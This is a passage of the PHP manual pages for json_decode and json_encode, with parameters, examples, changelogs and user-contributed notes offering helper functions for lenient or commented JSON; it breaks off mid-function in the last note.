http://sourceforge.net/projects/phpxmlrpc (look for the extras package)

http://mike.teczno.com/json.html

Of course, performance is abysmal compared to the php extension, written in highly optimized C code...


Decodes a JSON string

  • « JSON Functions
  • json_encode »
  • PHP Manual
  • JSON Functions
  • Decodes a JSON string

json_decode

(PHP 5 >= 5.2.0, PECL json >= 1.2.0)

json_decode — Decodes a JSON string

Description

mixed json_decode ( string $json [, bool $assoc = false [, int $depth = 512 [, int $options = 0 ]]] )

Takes a JSON encoded string and converts it into a PHP variable.

Parameters

json

The json string being decoded.

This function only works with UTF-8 encoded strings.

Note:

PHP implements a superset of JSON - it will also encode and decode scalar types and NULL. The JSON standard only supports these values when they are nested inside an array or an object.

assoc

When TRUE, returned objects will be converted into associative arrays.

depth

User specified recursion depth.

options

Bitmask of JSON decode options. Currently only JSON_BIGINT_AS_STRING is supported (default is to cast large integers as floats)

Return Values

Returns the value encoded in json in appropriate PHP type. Values true, false and null are returned as TRUE, FALSE and NULL respectively. NULL is returned if the json cannot be decoded or if the encoded data is deeper than the recursion limit.

Examples

Example #1 json_decode() examples

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

var_dump(json_decode($json));
var_dump(json_decode($json, true));

?>

The above example will output:

object(stdClass)#1 (5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

array(5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

Example #2 Accessing invalid object properties

Accessing elements within an object that contain characters not permitted under PHP's naming convention (e.g. the hyphen) can be accomplished by encapsulating the element name within braces and the apostrophe.

<?php

$json = '{"foo-bar": 12345}';

$obj = json_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

Example #3 common mistakes using json_decode()

<?php

// the following strings are valid JavaScript but not valid JSON

// the name and value must be enclosed in double quotes
// single quotes are not valid
$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null

// the name must be enclosed in double quotes
$bad_json = '{ bar: "baz" }';
json_decode($bad_json); // null

// trailing commas are not allowed
$bad_json = '{ bar: "baz", }';
json_decode($bad_json); // null

?>

Example #4 depth errors

<?php
// Encode the data.
$json = json_encode(
    array(
        1 => array(
            'English' => array(
                'One',
                'January'
            ),
            'French' => array(
                'Une',
                'Janvier'
            )
        )
    )
);

// Define the errors.
$constants = get_defined_constants(true);
$json_errors = array();
foreach ($constants["json"] as $name => $value) {
    if (!strncmp($name, "JSON_ERROR_", 11)) {
        $json_errors[$value] = $name;
    }
}

// Show the errors for different depths.
foreach (range(4, 3, -1) as $depth) {
    var_dump(json_decode($json, true, $depth));
    echo 'Last error: ', $json_errors[json_last_error()], PHP_EOL, PHP_EOL;
}
?>

The above example will output:

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Last error: JSON_ERROR_NONE

NULL
Last error: JSON_ERROR_DEPTH

Example #5 json_decode() of large integers

<?php
$json = '{"number": 12345678901234567890}';

var_dump(json_decode($json));
var_dump(json_decode($json, false, 512, JSON_BIGINT_AS_STRING));

?>

The above example will output:

object(stdClass)#1 (1) {
  ["number"]=>
  float(1.2345678901235E+19)
}
object(stdClass)#1 (1) {
  ["number"]=>
  string(20) "12345678901234567890"
}

Notes

Note:

The JSON spec is not JavaScript, but a subset of JavaScript.

Note:

In the event of a failure to decode, json_last_error() can be used to determine the exact nature of the error.

Changelog

Version | Description
5.6.0 | Invalid non-lowercased variants of the true, false and null literals are no longer accepted as valid input, and will generate warnings.
5.4.0 | The options parameter was added.
5.3.0 | Added the optional depth. The default recursion depth was increased from 128 to 512
5.2.3 | The nesting limit was increased from 20 to 128
5.2.1 | Added support for JSON decoding of basic types.

See Also

  • json_encode() - Returns the JSON representation of a value
  • json_last_error() - Returns the last error occurred

User Contributed Notes

nsardo 03-Apr-2014 08:42
Just a quick note, as I got caught with this:

The json that is input into json_decode MUST be well formed, such that key's are QUOTED.  I wasted time debugging, a$$suming that the following would be fine:

[{id:2, name:"Bob",phone:"555-123-4567"}]

It returned null, basically.  I had to QUOTE the keys:

[{"id":2, "name":"Bob", "phone":"555-123-4567"}]

THEN, everything worked as it should.
gabriel dot bondaz at gmail dot com 28-Feb-2014 08:57
Get a mistery case:

if I try to json_decode this string: "[0-9]{5}", i get this results:

<?php
var_dump(json_decode("[0-9],{5}",));
?>

array(1) { [0] => int(0) }

But I expected to get an error, cause this is not a valid JSON !
kuroi dot neko at wanadoo dot fr 19-Dec-2013 06:37
My initial problem was to have PHP check a form in case JavaScript was disabled on the client.
I fiddled with json_decode for a while before realizing what I really wanted: to be able to initialize the same object in PHP and JavaScript from a common source file.

I ended up writing a tiny parser for a JavaScript object initializer, which is close to - but not the same thing as - a piece of JSON.
Among other things, it
- recognizes regexes (turning them into PHP strings),
- handles C/C++ comments
- accepts non-quoted field names.

This parser will accept a superset of real JS object initializer syntax (for instance non-quoted string litterals or improperly formed regexes). Error report and sanity checks are close to non-existent.
The whole idea is to share the code among JavaScript and PHP, so the syntactical checks are left to the JS interpreter.

Here is the code for those who are interrested :

-----------------------------
class JSvarDecoderCtx {
    public function __construct ($type)
    {
        $this->fields = ($type == '[') ? array() : new stdClass();
    }

    public function add_name (&$text)
    {
        $this->name = $text;
        $text = '';
    }
    public function add_value (&$text)
    {
        // weird input like a mix of fields and array elements will cause warnings here
        if (!isset ($this->name)) $this->fields[             ] = $text;
        else                      $this->fields->{$this->name} = $text;
        $text = '';
    }
}

define ('JSVAL_TEXT'  , 12001);
define ('JSVAL_STRING', 12002);
define ('JSVAL_REGEXP', 12003);
define ('JSVAL_COMMT1', 12004);
define ('JSVAL_COMMT2', 12005);

function jsinit_decode ($json)
{
    // parse a JS initializer
    $stack = array ();
    $text = "";
    $state = JSVAL_TEXT;
    $len = strlen($json);
    for ($i = 0 ; $i != $len; $i++)
    {
        $c = $json[$i];
        switch ($state)
        {
        case JSVAL_TEXT:
            switch ($c)
            {
            case '{' :
            case '[' : array_unshift ($stack, new JSvarDecoderCtx ($c)); break;
            case '}' :
            case ']' : $stack[0]->add_value ($text); $text = array_shift ($stack)->fields; break;
            case ':' : $stack[0]->add_name  ($text); break;
            case ',' : $stack[0]->add_value ($text); break;
            case '"' :
            case "'" : $closer = $c; $state = JSVAL_STRING; break;
            case '/' :
                assert($i != ($len-1));
                switch ($json[$i+1])
                {
                case '/': $state = JSVAL_COMMT1; break;
                case '*': $state = JSVAL_COMMT2; break;
                default : $state = JSVAL_REGEXP; $text .= $c;
                }
                break;
            case "\r":
            case "\n":
            case "\t":
            case ' ' : break;
            default  : $text .= $c;
            }
            break;
        case JSVAL_STRING: if  ($c != $closer)               $text .= $c; else $state = JSVAL_TEXT; break;
        case JSVAL_REGEXP: if (($c !=  ',') && ($c !=  '}')) $text .= $c; else { $i--; $state = JSVAL_TEXT; } break;
        case JSVAL_COMMT1: if (($c == "\r") || ($c == "\n")) $state = JSVAL_TEXT; break;
        case JSVAL_COMMT2:
            if ($c != '*') break;
            assert($i != ($len-1));
            if ($json[$i+1] == '/') { $i++; $state = JSVAL_TEXT; }
        }
    }
    assert ($state == JSVAL_TEXT);
    return $text;
}
-----------------------------
Test pattern :
{
     errors: "form-errors",   // CSS class for validation errors tooltip
    i: /* integer   */ /^[0-9]+$/,
    err: {
      '*': "mandatory field",
      i: "must be an integer",
    },
    a:['ga','bu','zo','meuh'] // http://www.archimedes-lab.org/shadoks/shadoiku.html
}
-----------------------------
result :

stdClass Object
(
     [errors] => form-errors
     [i] => /^[0-9]+$/
     [err] => stdClass Object
        (
            [*] => mandatory field
            [i] => must be an integer
        )
    [a] => Array
        (
            [0] => ga
            [1] => bu
            [2] => zo
            [3] => meuh
        )
)
hellolwq at gmail dot com 04-Sep-2013 03:39
json_decode can not handle string like:\u0014,it will return null,and with the error
<?php json_last_error()=JSON_ERROR_CTRL_CHAR ?>
according ascii_class from json module, use the next codes to fix the bug:
<?php
$str = preg_replace_callback('/([\x{0000}-\x{0008}]|[\x{000b}-\x{000c}]|[\x{000E}-\x{001F}])/u', function($sub_match){return '\u00' . dechex(ord($sub_match[1]));},$str);
var_dump(json_decode($str));
?>
hellolwq at gmail dot com 04-Sep-2013 03:39
json_decode can not handle string like:\u0014,it will return null,and with the error
<?php json_last_error()=JSON_ERROR_CTRL_CHAR ?>
according ascii_class from json module, use the next codes to fix the bug:
<?php
$str = preg_replace_callback('/([\x{0000}-\x{0008}]|[\x{000b}-\x{000c}]|[\x{000E}-\x{001F}])/u', function($sub_match){return '\u00' . dechex(ord($sub_match[1]));},$str);
var_dump(json_decode($str));
?>
Matt Browne 18-Jul-2013 12:44
The function by 1franck to allow comments works except if there is a comment at the very beginning of the file. Here's a modified version (only the regex was changed) that accounts for that.

<?php
function json_clean_decode($json, $assoc = false, $depth = 512, $options = 0) {
    // search and remove comments like /* */ and //
    $json = preg_replace("#(/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*+/)|([\s\t]//.*)|(^//.*)#", '', $json);

    if(version_compare(phpversion(), '5.4.0', '>=')) {
        $json = json_decode($json, $assoc, $depth, $options);
    }
    elseif(version_compare(phpversion(), '5.3.0', '>=')) {
        $json = json_decode($json, $assoc, $depth);
    }
    else {
        $json = json_decode($json, $assoc);
    }

    return $json;
}
?>
christian dot knoop at gmx dot net 06-Jul-2013 06:40
If you store your json-string in an utf8-file and read it with file_get_contents, please make sure to strip leading BOM (byte order mark) before decoding it with json_decode. Otherwise json_decode will fail creating an associative array. Instead it will return your data as a string.
php_net_01_weber at nachvorne de 01-May-2013 08:18
json_decode_nice + keep linebreaks:

function json_decode_nice($json, $assoc = TRUE){
    $json = str_replace(array("\n","\r"),"\\n",$json);
    $json = preg_replace('/([{,]+)(\s*)([^"]+?)\s*:/','$1"$3":',$json);
    $json = preg_replace('/(,)\s*}$/','}',$json);
    return json_decode($json,$assoc);
}

by phpdoc at badassawesome dot com, I just changed line 2.
If you want to keep the linebreaks just escape the slash.
phpdoc at badassawesome dot com 13-Apr-2013 06:39
I added a 3rd regex to the json_decode_nice function by "colin.mollenhour.com" to handle a trailing comma in json definition.

<?php
// http://www.php.net/manual/en/function.json-decode.php#95782
function json_decode_nice($json, $assoc = FALSE){
    $json = str_replace(array("\n","\r"),"",$json);
    $json = preg_replace('/([{,]+)(\s*)([^"]+?)\s*:/','$1"$3":',$json);
    $json = preg_replace('/(,)\s*}$/','}',$json);
    return json_decode($json,$assoc);
}
?>

Example:

<?php
$dat_json = <<<EOF
{
    "foo"    : "bam",
    "bar"    : "baz",
}
EOF;
$dat_array = json_decode_nice( $dat_json );
var_dump ( $dat_json, $dat_array );

/* RESULTS:

string(35) "{
    "foo"    : "bam",
    "bar"    : "baz",
}"
array(2) {
  ["foo"]=>
  string(3) "bam"
  ["bar"]=>
  string(3) "baz"
}
*/
?>
1franck 04-Mar-2013 01:47
Sometime, i need to allow comments in json file. So i wrote a small func to clean comments in a json string before decoding it:
<?php
/**
 * Clean comments of json content and decode it with json_decode().
 * Work like the original php json_decode() function with the same params
 *
 * @param   string  $json    The json string being decoded
 * @param   bool    $assoc   When TRUE, returned objects will be converted into associative arrays.
 * @param   integer $depth   User specified recursion depth. (>=5.3)
 * @param   integer $options Bitmask of JSON decode options. (>=5.4)
 * @return  string
 */
function json_clean_decode($json, $assoc = false, $depth = 512, $options = 0) {

    // search and remove comments like /* */ and //
    $json = preg_replace("#(/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*+/)|([\s\t](//).*)#", '', $json);

    if(version_compare(phpversion(), '5.4.0', '>=')) {
        $json = json_decode($json, $assoc, $depth, $options);
    }
    elseif(version_compare(phpversion(), '5.3.0', '>=')) {
        $json = json_decode($json, $assoc, $depth);
    }
    else {
        $json = json_decode($json, $assoc);
    }

    return $json;
}
?>
skypppher at gmail dot com 12-Dec-2012 04:40
First of all, since JSON is not native PHP format or even native JavaScript format, everyone who wants to use JSON wisely should carefuly read official documentation. There is a link to it here, in "Introduction" section. Many questions like "it doesn't recognize my strings" and those like previous one (about zip codes) will drop if you will be attentive!

And second. I've found that there is no good, real working example of how to validate string if it is a JSON or not.
There are two ways to make this: parse input string for yourself using regular expressions or anything else, use json_decode to do it for you.
Parsing for yourself is like writing your own compiler, too difficult.
Just testing result of json_decode is not enough because you should test it with NULL, but valid JSON could be like this 'null' and it will evaluate to NULL. So you should use another function - json_last_error. It will return error code of the last encode/decode operation. If no error occured it will be JSON_ERROR_NONE. So here is the function you should use for testing:
<?php
function isValidJson($strJson) {
    json_decode($strJson);
    return (json_last_error() === JSON_ERROR_NONE);
}
?>
It's so simple, that there is no need to use it and slow down your script with extra delay for function call. Just do it manualy in you code while working with input data:
<?php
//here is my initial string
$sJson = $_POST['json'];
//try to decode it
$json = json_decode($sJson);
if (json_last_error() === JSON_ERROR_NONE) {
    //do something with $json. It's ready to use
} else {
    //yep, it's not JSON. Log error or alert someone or do nothing
}
?>
alexvonweiss at googlemail dot com 23-Sep-2011 05:49
Consider that JSON can differ between int and string. So

<?php
var_dump(json_decode('{"foo": 12}'));
// array(1) { ["foo"]=> int(12) }

var_dump(json_decode('{"foo": "12"}'));
// array(1) { ["foo"]=> string(12) }
?>

Numbers that cannot be handled by integer seems to become float casted. This can be a problem if you transfer big numbers like facebook ids over JSON. Either you avoid numbers by cast everything to string before JSON.stringify or you have to use number_format if the value bacome a float value.

<?php
// test
$x = json_decode('{"foo": 123456789012345}');
echo sprintf('%1$f', $x->foo).PHP_EOL;
echo sprintf('%1$u', $x->foo).PHP_EOL;
echo sprintf('%1$s', $x->foo).PHP_EOL;
echo strval($x->foo).PHP_EOL;
echo (string) $x->foo.PHP_EOL;
echo number_format($x->foo, 0, '', '').PHP_EOL;

// output
123456789012345.000000  // printf %f
2249056121              // printf %u
1.2345678901234E+14     // printf %s
1.2345678901234E+14     // strval()
1.2345678901234E+14     // cast (string)
2249056121              // cast (int)
123456789012345         // number_format()
?>
evengard at trioptimum dot com 13-Apr-2011 05:58
There is a problem when passing to json_decode a string with the "\" symbol. It seems to identify it as an escape character and trying to follow it. So sometimes it leads to failed parsing.

It seems that just replacing it with "\\" helps.
<?php
print_r(json_decode(str_replace('\\', '\\\\', '{"name":"/\"}')));
?>
where /\ is the string which doesn't worked.
T erkif 11-Aug-2010 12:03
it seems, that some of the people are not aware, that if you are using json_decode to decode a string it HAS to be a propper json string:

<?php
var_dump(json_encode('Hello'));

var_dump(json_decode('Hello'));  // wrong
var_dump(json_decode("Hello")); // wrong
var_dump(json_decode('"Hello"')); // correct
var_dump(json_decode("'Hello'")); // wrong

result:

string(7) ""Hello""
NULL
NULL
string(5) "Hello"
NULL
majca J 06-Jun-2010 02:42
Noted in a comment below is that this function will return NULL when given a simple string.

This is new behavior - see the result in PHP 5.2.4 :
php > var_dump(json_decode('this is a simple string'));
string(23) "this is a simple string"

in PHP 5.3.2 :
php > var_dump(json_decode('this is a simple string'));
NULL

I had several functions that relied on checking the value of a purported JSON string if it didn't decode into an object/array. If you do too, be sure to be aware of this when upgrading to PHP 5.3.
php at hm2k.org 12-Feb-2010 01:45
If var_dump produces NULL, you may be experiencing JSONP aka JSON with padding, here's a quick fix...

<?php

//remove padding
$body=preg_replace('/.+?({.+}).+/','$1',$body);

// now, process the JSON string
$result = json_decode($body);

var_dump($result);
?>
nix 29-Jan-2010 12:39
Be aware, when decoding JSON strings, where an empty string is a key, this library replaces the empty string with "_empty_".

So the following code gives an unexpected result:
<?php
var_dump(json_decode('{"":"arbitrary"}'));
?>

The result is as follows:
object(stdClass)#1 (1) {
  ["_empty_"]=>
  string(6) "arbitrary"
}

Any subsequent key named "_empty_" (or "" [the empty string] again) will overwrite the value.
colin.mollenhour.com 21-Jan-2010 07:51
For those of you wanting json_decode to be a little more lenient (more like Javascript), here is a wrapper:

<?php
function json_decode_nice($json, $assoc = FALSE){
    $json = str_replace(array("\n","\r"),"",$json);
    $json = preg_replace('/([{,]+)(\s*)([^"]+?)\s*:/','$1"$3":',$json);
    return json_decode($json,$assoc);
}
?>

Some examples of accepted syntax:

<?php
$json = '{a:{b:"c",d:["e","f",0]}}';
$json =
'{
   a : {
      b : "c",
      "d.e.f": "g"
   }
}';
?>

If your content needs to have newlines, do this:

<?php
$string = "This
Text
Has
Newlines";
$json = '{withnewlines:'.json_encode($string).'}';
?>

Note: This does not fix trailing commas or single quotes.

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (sskaje AT gmail DOT com) on 05-DEC-2012 with the following note.]

Old regexp failed when json like
{aaa:[{a:1},{a:2}]}
premiersullivan at gmail dot com 22-Jun-2009 01:14
This function will remove trailing commas and encode in utf8, which might solve many people's problems. Someone might want to expand it to also change single quotes to double quotes, and fix other kinds of json breakage.

<?php
    function mjson_decode($json)
    {
        return json_decode(removeTrailingCommas(utf8_encode($json)));
    }

    function removeTrailingCommas($json)
    {
        $json=preg_replace('/,\s*([\]}])/m', '$1', $json);
        return $json;
    }
?>
Gravis 10-May-2009 04:38
with two lines you can convert your string from JavaScript toSource() (see http://www.w3schools.com/jsref/jsref_toSource.asp) output format to JSON accepted format.  this works with subobjects too!
note: toSource() is part of JavaScript 1.3 but only implemented in Mozilla based javascript engines (not Opera/IE/Safari/Chrome).

<?php
  $str = '({strvar:"string", number:40, boolvar:true, subobject:{substrvar:"sub string", subsubobj:{deep:"deeply nested"}, strnum:"56"}, false_val:false, false_str:"false"})'; // example javascript object toSource() output

  $str = substr($str, 1, strlen($str) - 2); // remove outer ( and )
  $str = preg_replace("/([a-zA-Z0-9_]+?):/" , "\"$1\":", $str); // fix variable names

  $output = json_decode($str, true);
  var_dump($output);
?>

var_dump output:
array(6) {
  ["strvar"]=>
  string(6) "string"
  ["number"]=>
  int(40)
  ["boolvar"]=>
  bool(true)
  ["subobject"]=>
  array(3) {
    ["substrvar"]=>
    string(10) "sub string"
    ["subsubobj"]=>
    array(1) {
      ["deep"]=>
      string(13) "deeply nested"
    }
    ["strnum"]=>
    string(2) "56"
  }
  ["false_val"]=>
  bool(false)
  ["false_str"]=>
  string(5) "false"
}

hope this saves someone some time.
Aaron Kardell 14-Nov-2008 04:39
Make sure you pass in utf8 content, or json_decode may error out and just return a null value.  For a particular web service I was using, I had to do the following:

<?php
$contents = file_get_contents($url);
$contents = utf8_encode($contents);
$results = json_decode($contents);
?>

Hope this helps!
steven at acko dot net 07-Oct-2008 09:49
json_decode()'s handling of invalid JSON is very flaky, and it is very hard to reliably determine if the decoding succeeded or not. Observe the following examples, none of which contain valid JSON:

The following each returns NULL, as you might expect:

<?php
var_dump(json_decode('['));             // unmatched bracket
var_dump(json_decode('{'));             // unmatched brace
var_dump(json_decode('{}}'));           // unmatched brace
var_dump(json_decode('{error error}')); // invalid object key/value
notation
var_dump(json_decode('["\"]'));         // unclosed string
var_dump(json_decode('[" \x "]'));      // invalid escape code

Yet the following each returns the literal string you passed to it:

var_dump(json_decode(' [')); // unmatched bracket
var_dump(json_decode(' {')); // unmatched brace
var_dump(json_decode(' {}}')); // unmatched brace
var_dump(json_decode(' {error error}')); // invalid object key/value notation
var_dump(json_decode('"\"')); // unclosed string
var_dump(json_decode('" \x "')); // invalid escape code
?>

(this is on PHP 5.2.6)

Reported as a bug, but oddly enough, it was closed as not a bug.

[NOTE BY danbrown AT php DOT net: This was later re-evaluated and it was determined that an issue did in fact exist, and was patched by members of the Development Team.  See http://bugs.php.net/bug.php?id=45989 for details.]
jrevillini 26-Sep-2008 09:01
When decoding strings from the database, make sure the input was encoded with the correct charset when it was input to the database.

I was using a form to create records in the DB which had a content field that was valid JSON, but it included curly apostrophes.  If the page with the form did not have

<meta http-equiv="Content-Type" content="text/html;charset=utf-8">

in the head, then the data was sent to the database with the wrong encoding.  Then, when json_decode tried to convert the string to an object, it failed every time.
nospam (AT) hjcms (DOT) de 22-Apr-2007 06:15
You can't transport Objects or serialize Classes, json_* replace it bei stdClass!
<?php

$dom = new DomDocument( '1.0', 'utf-8' );
$body = $dom->appendChild( $dom->createElement( "body" ) );
$body->appendChild( $dom->createElement( "forward", "Hallo" ) );

$JSON_STRING = json_encode(
   array(
      "aArray" => range( "a", "z" ),
      "bArray" => range( 1, 50 ),
      "cArray" => range( 1, 50, 5 ),
      "String" => "Value",
      "stdClass" => $dom,
      "XML" => $dom->saveXML()
   )
);

unset( $dom );

$Search = "XML";
$MyStdClass = json_decode( $JSON_STRING );
// var_dump( "<pre>" , $MyStdClass , "</pre>" );

try {

   throw new Exception( "$Search isn't a Instance of 'stdClass' Class by json_decode()." );

   if ( $MyStdClass->$Search instanceof $MyStdClass )
      var_dump( "<pre>instanceof:" , $MyStdClass->$Search , "</pre>" );

} catch( Exception $ErrorHandle ) {

   echo $ErrorHandle->getMessage();

   if ( property_exists( $MyStdClass, $Search ) ) {
      $dom = new DomDocument( "1.0", "utf-8" );
      $dom->loadXML( $MyStdClass->$Search );
      $body = $dom->getElementsByTagName( "body" )->item(0);
      $body->appendChild( $dom->createElement( "rewind", "Nice" ) );
      var_dump( htmlentities( $dom->saveXML(), ENT_QUOTES, 'utf-8' ) );
   }
}

?>


Returns the JSON representation of a value

  • « json_decode
  • json_last_error_msg »
  • PHP Manual
  • JSON Functions
  • Returns the JSON representation of a value

json_encode

(PHP 5 >= 5.2.0, PECL json >= 1.2.0)

json_encode — Returns the JSON representation of a value

Description

string json_encode ( mixed $value [, int $options = 0 [, int $depth = 512 ]] )

Returns a string containing the JSON representation of value.

Parameters

value

The value being encoded. Can be any type except a resource.

All string data must be UTF-8 encoded.

Note:

PHP implements a superset of JSON - it will also encode and decode scalar types and NULL. The JSON standard only supports these values when they are nested inside an array or an object.

options

Bitmask consisting of JSON_HEX_QUOT, JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, JSON_NUMERIC_CHECK, JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, JSON_FORCE_OBJECT, JSON_UNESCAPED_UNICODE. The behaviour of these constants is described on the JSON constants page.

depth

Set the maximum depth. Must be greater than zero.

Return Values

Returns a JSON encoded string on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | depth parameter was added.
5.4.0 | JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, and JSON_UNESCAPED_UNICODE options were added.
5.3.3 | JSON_NUMERIC_CHECK option was added.
5.3.0 | The options parameter was added.

Examples

Example #1 A json_encode() example

<?php
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);

echo json_encode($arr);
?>

The above example will output:

{"a":1,"b":2,"c":3,"d":4,"e":5}

Example #2 A json_encode() example showing some options in use

<?php
$a = array('<foo>',"'bar'",'"baz"','&blong&', "\xc3\xa9");

echo "Normal: ",  json_encode($a), "\n";
echo "Tags: ",    json_encode($a, JSON_HEX_TAG), "\n";
echo "Apos: ",    json_encode($a, JSON_HEX_APOS), "\n";
echo "Quot: ",    json_encode($a, JSON_HEX_QUOT), "\n";
echo "Amp: ",     json_encode($a, JSON_HEX_AMP), "\n";
echo "Unicode: ", json_encode($a, JSON_UNESCAPED_UNICODE), "\n";
echo "All: ",     json_encode($a, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE), "\n\n";

$b = array();

echo "Empty array output as array: ", json_encode($b), "\n";
echo "Empty array output as object: ", json_encode($b, JSON_FORCE_OBJECT), "\n\n";

$c = array(array(1,2,3));

echo "Non-associative array output as array: ", json_encode($c), "\n";
echo "Non-associative array output as object: ", json_encode($c, JSON_FORCE_OBJECT), "\n\n";

$d = array('foo' => 'bar', 'baz' => 'long');

echo "Associative array always output as object: ", json_encode($d), "\n";
echo "Associative array always output as object: ", json_encode($d, JSON_FORCE_OBJECT), "\n\n";
?>

The above example will output:

Normal: ["<foo>","'bar'","\"baz\"","&blong&","\u00e9"]
Tags: ["\u003Cfoo\u003E","'bar'","\"baz\"","&blong&","\u00e9"]
Apos: ["<foo>","\u0027bar\u0027","\"baz\"","&blong&","\u00e9"]
Quot: ["<foo>","'bar'","\u0022baz\u0022","&blong&","\u00e9"]
Amp: ["<foo>","'bar'","\"baz\"","\u0026blong\u0026","\u00e9"]
Unicode: ["<foo>","'bar'","\"baz\"","&blong&","é"]
All: ["\u003Cfoo\u003E","\u0027bar\u0027","\u0022baz\u0022","\u0026blong\u0026","é"]

Empty array output as array: []
Empty array output as object: {}

Non-associative array output as array: [[1,2,3]]
Non-associative array output as object: {"0":{"0":1,"1":2,"2":3}}

Associative array always output as object: {"foo":"bar","baz":"long"}
Associative array always output as object: {"foo":"bar","baz":"long"}

Example #3 Sequential versus non-sequential array example

<?php
echo "Sequential array".PHP_EOL;
$sequential = array("foo", "bar", "baz", "blong");
var_dump(
 $sequential,
 json_encode($sequential)
);

echo PHP_EOL."Non-sequential array".PHP_EOL;
$nonsequential = array(1=>"foo", 2=>"bar", 3=>"baz", 4=>"blong");
var_dump(
 $nonsequential,
 json_encode($nonsequential)
);

echo PHP_EOL."Sequential array with one key unset".PHP_EOL;
unset($sequential[1]);
var_dump(
 $sequential,
 json_encode($sequential)
);
?>

The above example will output:

Sequential array
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(27) "["foo","bar","baz","blong"]"

Non-sequential array
array(4) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
  [4]=>
  string(5) "blong"
}
string(43) "{"1":"foo","2":"bar","3":"baz","4":"blong"}"

Sequential array with one key unset
array(3) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(33) "{"0":"foo","2":"baz","3":"blong"}"

Notes

Note:

In the event of a failure to encode, json_last_error() can be used to determine the exact nature of the error.

Note:

When encoding an array, if the keys are not a continuous numeric sequence starting from 0, all keys are encoded as strings, and specified explicitly for each key-value pair.

Note:

Like the reference JSON encoder, json_encode() will generate JSON that is a simple value (that is, neither an object nor an array) if given a string, integer, float or boolean as an input value. While most decoders will accept these values as valid JSON, some may not, as the specification is ambiguous on this point.

To summarise, always test that your JSON decoder can handle the output you generate from json_encode().

See Also

  • JsonSerializable
  • json_decode() - Decodes a JSON string
  • json_last_error() - Returns the last error occurred
  • serialize() - Generates a storable representation of a value

User Contributed Notes

ninjSPAM at informanceSPAM dot info 15-Sep-2014 06:48
Although this is not documented on the version log here, non-UTF8 handling behaviour has changed in 5.5, in a way that can make debugging difficult.

Passing a non UTF-8 string to json_encode() will make the function return false in PHP 5.5, while it will only nullify this string (and only this one) in previous versions.

In a Latin-1 encoded file, write this:
<?php
$a = array('é', 1);
var_dump(json_encode($a));
?>

PHP < 5.4:
string(8) "[null,1]"

PHP >= 5.5:
bool(false)

PHP 5.5 has it right of course (if encoding fails, return false) but its likely to introduce errors when updating to 5.5 because previously you could get the rest of the JSON even when one string was not in UTF8 (if this string wasn't used, you'd never notify it's nulled)
Ray.Paseur often uses Gmail 03-Sep-2014 03:15
If you're wondering whether a JSON string can be an analog of an XML document, the answer is probably "nope."  XML supports attributes, but JSON does not.  A JSON string generated by json_encode(), when called on a SimpleXML object, will not have the attributes and no error or exception will issue - the original data will simply be lost.  To see this in action:
<?php
error_reporting(E_ALL);
echo '<pre>';

// STARTING FROM XML
$xml = <<<EOD
<?xml version="1.0" ?>
<ingredients>
  <ingredient>
     <name>tomatoes</name>
     <quantity type="cup">4</quantity>
  </ingredient>
  <ingredient>
     <name>salt</name>
     <quantity type="tablespoon">2</quantity>
  </ingredient>
</ingredients>
EOD;

// CREATES AN ARRAY OF SimpleXMLElement OBJECTS
$obj = SimpleXML_Load_String($xml);
var_dump($obj);
echo PHP_EOL;

// SHOW THE ATTRIBUTES HIDDEN IN THE SimpleXMLElement OBJECTS
foreach ($obj as $sub)
{
    echo PHP_EOL . (string)$sub->quantity . ' ' . (string)$sub->quantity['type'];
}
echo PHP_EOL;

// USING THE OBJECT, CREATE A JSON STRING
$jso = json_encode($obj);
echo htmlentities($jso); // 'type' IS LOST
echo PHP_EOL;
Anonymous 18-Jun-2014 05:17
Encoding arrays. some considerations:
I did this using a terminal.

php> echo json_encode([])
[]

php> echo json_encode([], JSON_FORCE_OBJECT)
{}

php> echo json_encode([1,2])
[1,2]

php> echo json_encode([1=>1,2=>2])
{"1":1,"2":2}

php> echo json_encode([1, 2], JSON_FORCE_OBJECT)
{"0":1,"1":2}

php> $data = [];
php> $data_ = empty($data) ? (object) null : $data;
php> echo json_encode($data_)
{}

php> $data = [1];
php> $data_ = empty($data) ? (object) null : $data;
php> echo json_encode($data_)
[1]
Joe P 02-Jun-2014 08:48
> Note:
> PHP implements a superset of JSON - it will also encode and
> decode scalar types and NULL. The JSON standard only supports
> these values when they are nested inside an array or an object.

This is patently false. Nowhere in the standard does it say that only objects or arrays may be represented. The standard lays out what a value consists of and any value type is legal. Interpreters on other platforms which don't allow scalar types are incorrectly (and probably terribly) coded.
guillaume dot jonville at gmail dot com 24-Feb-2014 04:44
It's my __json_encode function to encode in JSON format array or string with javascript function

<?php

function __json_encode($mVar,$fnCallback="stripcslashes") {
    return preg_replace_callback(
        '#"[ ]{0,}function[ ]{0,}\([^)$]{0,}\)[ ]{0,}\{[ ]{0,}(?(?![ ]{0,}}[ ]{0,}").){0,}[ ]{0,}\}[ ]{0,}"([(?,")|(?\}{0,}$)]{0,})#si',
        function ($aRes) use ($fnCallback) {
